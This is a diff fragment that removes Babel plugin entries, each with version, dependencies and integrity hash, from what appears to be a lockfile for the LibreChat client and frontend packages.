- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block": ["@babel/plugin-transform-class-static-block@7.28.3", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.12.0" } }, "sha512-LtPXlBbRoc4Njl/oh1CeD/3jC+atytbnf/UqLoqTDcEYGUPj022+rvfkbDYieUrSj3CaV4yHDByPE+T2HwfsJg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-classes": ["@babel/plugin-transform-classes@7.28.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-globals": "^7.28.0", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-cFOlhIYPBv/iBoc+KS3M6et2XPtbT2HiCRfBXWtfpc9OAyostldxIf9YAYB6ypURBBbx+Qv6nyrLzASfJe+hBA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-computed-properties": ["@babel/plugin-transform-computed-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/template": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lj9PGWvMTVksbWiDT2tW68zGS/cyo4AkZ/QTp0sQT0mjPopCmrSkzxeXkznjqBxzDI6TclZhOJbBmbBLjuOZUw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-destructuring": ["@babel/plugin-transform-destructuring@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kl9Bc6D0zTUcFUvkNuQh4eGXPKKNDOJQXVyyM4ZAQPMveniJdxi8XMJwLo+xSoW3MIq81bD33lcUe9kZpl0MCw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex": ["@babel/plugin-transform-dotall-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-gEbkDVGRvjj7+T1ivxrfgygpT7GUd4vmODtYpbs0gZATdkX8/iSnOtZSxiZnsgm1YjTgjI6VKBGSJJevkrclzw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-keys": ["@babel/plugin-transform-duplicate-keys@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MTyJk98sHvSs+cvZ4nOauwTTG1JeonDjSGvGGUNHreGQns+Mpt6WX/dVzWBHgg+dYZhkC4X+zTDfkTU+Vy9y7Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex": ["@babel/plugin-transform-duplicate-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-hkGcueTEzuhB30B3eJCbCYeCaaEQOmQR0AdvzpD4LoN0GXMWzzGSuRrxR2xTnCrvNbVwK9N6/jQ92GSLfiZWoQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-dynamic-import": ["@babel/plugin-transform-dynamic-import@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MHzkWQcEmjzzVW9j2q8LGjwGWpG2mjwaaB0BNQwst3FIjqsg8Ct/mIZlvSPJvfi9y2AC8mi/ktxbFVL9pZ1I4A=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-exponentiation-operator": ["@babel/plugin-transform-exponentiation-operator@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D4WIMaFtwa2NizOp+dnoFjRez/ClKiC2BqqImwKd1X28nqBtZEyCYJ2ozQrrzlxAFrcrjxo39S6khe9RNDlGzw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-export-namespace-from": ["@babel/plugin-transform-export-namespace-from@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-tQvHWSZ3/jH2xuq/vZDy0jNn+ZdXJeM8gHvX4lnJmsc3+50yPlWdZXIc5ay+umX+2/tJIqHqiEqcJvxlmIvRvQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-for-of": ["@babel/plugin-transform-for-of@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BfbWFFEJFQzLCQ5N8VocnCtA8J1CLkNTe2Ms2wocj75dd6VpiqS5Z5quTYcUoo4Yq+DN0rtikODccuv7RU81sw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-function-name": ["@babel/plugin-transform-function-name@7.27.1", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-1bQeydJF9Nr1eBCMMbC+hdwmRlsv5XYOMu03YSWFwNs0HsAmtSxxF1fyuYPqemVldVyFmlCU7w8UE14LupUSZQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-json-strings": ["@babel/plugin-transform-json-strings@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6WVLVJiTjqcQauBhn1LkICsR2H+zm62I3h9faTDKt1qP4jn2o72tSvqMwtGFKGTpojce0gJs+76eZ2uCHRZh0Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-literals": ["@babel/plugin-transform-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-0HCFSepIpLTkLcsi86GG3mTUzxV5jpmbv97hTETW3yzrAij8aqlD36toB1D0daVFJM8NK6GvKO0gslVQmm+zZA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-logical-assignment-operators": ["@babel/plugin-transform-logical-assignment-operators@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-axUuqnUTBuXyHGcJEVVh9pORaN6wC5bYfE7FGzPiaWa3syib9m7g+/IT/4VgCOe2Upef43PHzeAvcrVek6QuuA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-member-expression-literals": ["@babel/plugin-transform-member-expression-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.28.5", "", { "dependencies": { "@babel/helper-module-transforms": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vn5Jma98LCOeBy/KpeQhXcV2WZgaRUtjwQmjoBuLNlOmkg0fB5pdvYVeWRYI69wWKwK2cD1QbMiUQnoujWvrew=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.28.4", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.0", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-373KA2HQzKhQCYiRVIRr+3MjpCObqzDlyrM6u4I201wL8Mp2wHf7uB8GhDwis03k2ti8Zr65Zyyqs1xOxUF/Ew=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N6fut9IZlPnjPwgiQkXNhb+cT8wQKFlJNqcZkWlcTqkcqx6/kU4ynGmLFoa4LViBSirn05YAwk+sQBbPfxtYzQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.27.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.28.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+ZEdQlBoRg9m2NnzvEeLgtvBMO4tkFBw5SQIUgLICgTrumLoU7lr+Oghi6km2PFj+dbUt2u1oby2w3BDO9YQnA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers": ["@babel/plugin-transform-regexp-modifiers@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex": ["@babel/plugin-transform-unicode-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex": ["@babel/plugin-transform-unicode-sets-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs2": ["babel-plugin-polyfill-corejs2@0.4.14", "", { "dependencies": { "@babel/compat-data": "^7.27.7", "@babel/helper-define-polyfill-provider": "^0.6.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-Co2Y9wX854ts6U8gAAPXfn0GmAyctHuK8n0Yhfjd6t30g7yvKjspvvOo9yG+z52PZRgFErt7Ka2pYnXCjLKEpg=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs3": ["babel-plugin-polyfill-corejs3@0.13.0", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5", "core-js-compat": "^3.43.0" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-U+GNwMdSFgzVmfhNm8GJUX88AadB3uo9KpJqS3FaqNIPKgySuvMb+bHPsOmmuWyIcuqZj/pzt1RUIUZns4y2+A=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-regenerator": ["babel-plugin-polyfill-regenerator@0.6.5", "", { "dependencies": { "@babel/helper-define-polyfill-provider": "^0.6.5" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-ISqQ2frbiNU9vIJkzg7dlPpznPZ4jOiUQ1uSmB0fEHeowtN3COYRsXr/xexn64NpU13P06jc/L5TgiJXOgrbEg=="],
-
- "@librechat/client/@babel/preset-env/core-js-compat": ["core-js-compat@3.47.0", "", { "dependencies": { "browserslist": "^4.28.0" } }, "sha512-IGfuznZ/n7Kp9+nypamBhvwdwLsW6KC8IOaURw2doAK5e98AG3acVLdh0woOnEqCfUtS+Vu882JE4k/DAm3ItQ=="],
-
- "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-display-name": ["@babel/plugin-transform-react-display-name@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA=="],
-
- "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-jsx": ["@babel/plugin-transform-react-jsx@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/types": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-2KH4LWGSrJIkVf5tSiBFYuXDAoWRq2MMwgivCf+93dd0GQi8RXLjKA/0EvRnVV5G0hrHczsquXuD01L8s6dmBw=="],
-
- "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-jsx-development": ["@babel/plugin-transform-react-jsx-development@7.27.1", "", { "dependencies": { "@babel/plugin-transform-react-jsx": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q=="],
-
- "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-pure-annotations": ["@babel/plugin-transform-react-pure-annotations@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA=="],
-
- "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
-
- "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-create-class-features-plugin": "^7.28.5", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-x2Qa+v/CuEoX7Dr31iAfr0IhInrVOWZU/2vJMJ00FOR/2nM0BcBEclpaf9sWCDc+v5e9dMrhSH8/atq/kX7+bA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-firefox-class-in-computed-class-key": ["@babel/plugin-bugfix-firefox-class-in-computed-class-key@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-87GDMS3tsmMSi/3bWOte1UblL+YUTFMV8SZPZ2eSEL17s74Cw/l63rR6NmGVKMYW2GYi85nE+/d6Hw5N0bEk2Q=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-safari-class-field-initializer-scope": ["@babel/plugin-bugfix-safari-class-field-initializer-scope@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qNeq3bCKnGgLkEXUuFry6dPlGfCdQNZbn7yUAPCInwAJHMU7THJfrBSozkcWq5sNM6RcF3S8XyQL2A52KNR9IA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": ["@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-g4L7OYun04N1WyqMNjldFwlfPCLVkgB54A/YCXICZYBsvJJE3kByKv9c9+R/nAfmIfjl2rKYLNyMHboYbZaWaA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": ["@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.13.0" } }, "sha512-oO02gcONcD5O1iTLi/6frMJBIwWEHceWGSGqrpCmEL8nogiS6J9PBlE48CaK20/Jx1LuRml9aDftLgdjXT8+Cw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": ["@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@7.28.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-b6YTX108evsvE4YgWyQ921ZAFFQm3Bn+CA3+ZXlNVnPhx+UfsVURoPjfGAPCjBgrqo30yX/C2nZGX96DxvR9Iw=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-syntax-import-assertions": ["@babel/plugin-syntax-import-assertions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-UT/Jrhw57xg4ILHLFnzFpPDlMbcdEicaAtjPQpbj9wa8T4r5KVWCimHcL/460g8Ht0DMxDyjsLgiWSkVjnwPFg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-arrow-functions": ["@babel/plugin-transform-arrow-functions@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-8Z4TGic6xW70FKThA5HYEKKyBpOOsucTOD1DjU3fZxDg+K3zBJcXMFnt/4yQiZnf5+MiOMSXQ9PaEK/Ilh1DeA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-generator-functions": ["@babel/plugin-transform-async-generator-functions@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-remap-async-to-generator": "^7.27.1", "@babel/traverse": "^7.28.0" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-BEOdvX4+M765icNPZeidyADIvQ1m1gmunXufXxvRESy/jNNyfovIqUyE7MVgGBjWktCoJlzvFA1To2O4ymIO3Q=="],
-
